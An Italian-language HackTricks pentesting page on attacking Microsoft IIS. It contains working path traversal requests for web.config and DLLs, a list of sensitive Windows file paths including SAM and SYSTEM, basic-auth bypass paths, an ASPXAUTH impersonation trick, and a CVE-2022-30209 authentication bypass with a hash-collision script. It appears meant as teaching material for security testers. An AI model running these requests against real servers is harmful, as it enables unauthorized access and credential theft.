IIS - Internet Information Services

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Testa le estensioni dei file eseguibili:

  • asp

  • aspx

  • config

  • php

Rivelazione dell'indirizzo IP interno

Su qualsiasi server IIS dove ottieni un 302, puoi provare a rimuovere l'intestazione Host e utilizzare HTTP/1.0 e all'interno della risposta l'intestazione Location potrebbe puntarti all'indirizzo IP interno:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Risposta che rivela l'IP interno:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Eseguire file .config

Puoi caricare file .config e usarli per eseguire codice. Un modo per farlo è aggiungere il codice alla fine del file all'interno di un commento HTML: Scarica l'esempio qui

Ulteriori informazioni e tecniche per sfruttare questa vulnerabilità qui

Scoperta IIS Bruteforce

Scarica l'elenco che ho creato:

È stato creato unendo i contenuti dei seguenti elenchi:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Usalo senza aggiungere alcuna estensione, i file che ne hanno bisogno ce l'hanno già.

Traversata del percorso

Rivelazione del codice sorgente

Controlla il resoconto completo in: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

In sintesi, ci sono diversi file web.config all'interno delle cartelle dell'applicazione con riferimenti a file "assemblyIdentity" e "namespaces". Con queste informazioni è possibile sapere dove si trovano gli eseguibili e scaricarli. Dai Dll scaricati è anche possibile trovare nuovi namespaces dove dovresti provare ad accedere e ottenere il file web.config per trovare nuovi namespaces e assemblyIdentity. Inoltre, i file connectionstrings.config e global.asax possono contenere informazioni interessanti.\

Nelle applicazioni .Net MVC, il file web.config gioca un ruolo cruciale specificando ogni file binario su cui l'applicazione fa affidamento attraverso i tag XML "assemblyIdentity".

Esplorare i file binari

Un esempio di accesso al file web.config è mostrato di seguito:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Questa richiesta rivela varie impostazioni e dipendenze, come:

  • EntityFramework versione

  • AppSettings per pagine web, validazione client e JavaScript

  • Configurazioni di System.web per autenticazione e runtime

  • Impostazioni dei moduli di System.webServer

  • Binding di assembly di Runtime per numerose librerie come Microsoft.Owin, Newtonsoft.Json e System.Web.Mvc

Queste impostazioni indicano che determinati file, come /bin/WebGrease.dll, si trovano all'interno della cartella /bin dell'applicazione.

File della Directory Radice

I file trovati nella directory radice, come /global.asax e /connectionstrings.config (che contiene password sensibili), sono essenziali per la configurazione e il funzionamento dell'applicazione.

Namespace e Web.Config

Le applicazioni MVC definiscono anche ulteriori file web.config per namespace specifici per evitare dichiarazioni ripetitive in ciascun file, come dimostrato con una richiesta per scaricare un altro web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Scaricare DLL

La menzione di uno spazio dei nomi personalizzato suggerisce la presenza di una DLL chiamata "WebApplication1" nella directory /bin. Seguendo questo, viene mostrata una richiesta per scaricare la WebApplication1.dll:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Questo suggerisce la presenza di altri DLL essenziali, come System.Web.Mvc.dll e System.Web.Optimization.dll, nella directory /bin.

In uno scenario in cui un DLL importa uno spazio dei nomi chiamato WebApplication1.Areas.Minded, un attaccante potrebbe dedurre l'esistenza di altri file web.config in percorsi prevedibili, come /area-name/Views/, contenenti configurazioni specifiche e riferimenti ad altri DLL nella cartella /bin. Ad esempio, una richiesta a /Minded/Views/web.config può rivelare configurazioni e spazi dei nomi che indicano la presenza di un altro DLL, WebApplication1.AdditionalFeatures.dll.

File comuni

Da qui

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 Errore 404

Se vedi un errore come il seguente:

Significa che il server non ha ricevuto il nome di dominio corretto all'interno dell'intestazione Host. Per accedere alla pagina web, potresti dare un'occhiata al Certificato SSL servito e forse puoi trovare il nome del dominio/sottodominio lì. Se non è presente, potresti dover forzare VHosts fino a trovare quello corretto.

Vecchie vulnerabilità di IIS da cercare

Vulnerabilità/Caratteristica del carattere tilde “~” di Microsoft IIS – Rivelazione di nomi di file/cartelle brevi

Puoi provare a enumerare cartelle e file all'interno di ogni cartella scoperta (anche se richiede l'autenticazione di base) utilizzando questa tecnica. La principale limitazione di questa tecnica, se il server è vulnerabile, è che può trovare solo fino ai primi 6 caratteri del nome di ciascun file/cartella e le prime 3 lettere dell'estensione dei file.

Puoi usare https://github.com/irsdl/IIS-ShortName-Scanner per testare questa vulnerabilità:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Ricerca originale: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Puoi anche usare metasploit: use scanner/http/iis_shortname_scanner

Bypass dell'autenticazione di base

Bypass di un'autenticazione di base (IIS 7.5) provando ad accedere a: /admin:$i30:$INDEX_ALLOCATION/admin.php o /admin::$INDEX_ALLOCATION/admin.php

Puoi provare a mescolare questa vulnerabilità e l'ultima per trovare nuove cartelle e bypassare l'autenticazione.

Debugging ASP.NET Trace.AXD abilitato

ASP.NET include una modalità di debug e il suo file si chiama trace.axd.

Tiene un registro molto dettagliato di tutte le richieste fatte a un'applicazione nel corso del tempo.

Queste informazioni includono IP dei client remoti, ID di sessione, tutti i cookie di richiesta e risposta, percorsi fisici, informazioni sul codice sorgente e potenzialmente anche nomi utente e password.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH utilizza le seguenti informazioni:

  • validationKey (stringa): chiave codificata in esadecimale da utilizzare per la validazione della firma.

  • decryptionMethod (stringa): (predefinito “AES”).

  • decryptionIV (stringa): vettore di inizializzazione codificato in esadecimale (predefinito a un vettore di zeri).

  • decryptionKey (stringa): chiave codificata in esadecimale da utilizzare per la decrittazione.

Tuttavia, alcune persone utilizzeranno i valori predefiniti di questi parametri e utilizzeranno come cookie l'email dell'utente. Pertanto, se riesci a trovare un web che utilizza la stessa piattaforma che sta usando il cookie ASPXAUTH e crei un utente con l'email dell'utente che vuoi impersonare sul server sotto attacco, potresti essere in grado di usare il cookie dal secondo server nel primo e impersonare l'utente. Questo attacco ha funzionato in questo writeup.

Bypass dell'autenticazione IIS con password memorizzate nella cache (CVE-2022-30209)

Rapporto completo qui: Un bug nel codice non ha controllato correttamente la password fornita dall'utente, quindi un attaccante il cui hash della password colpisce una chiave già presente nella cache sarà in grado di accedere come quell'utente.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Impara e pratica Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Last updated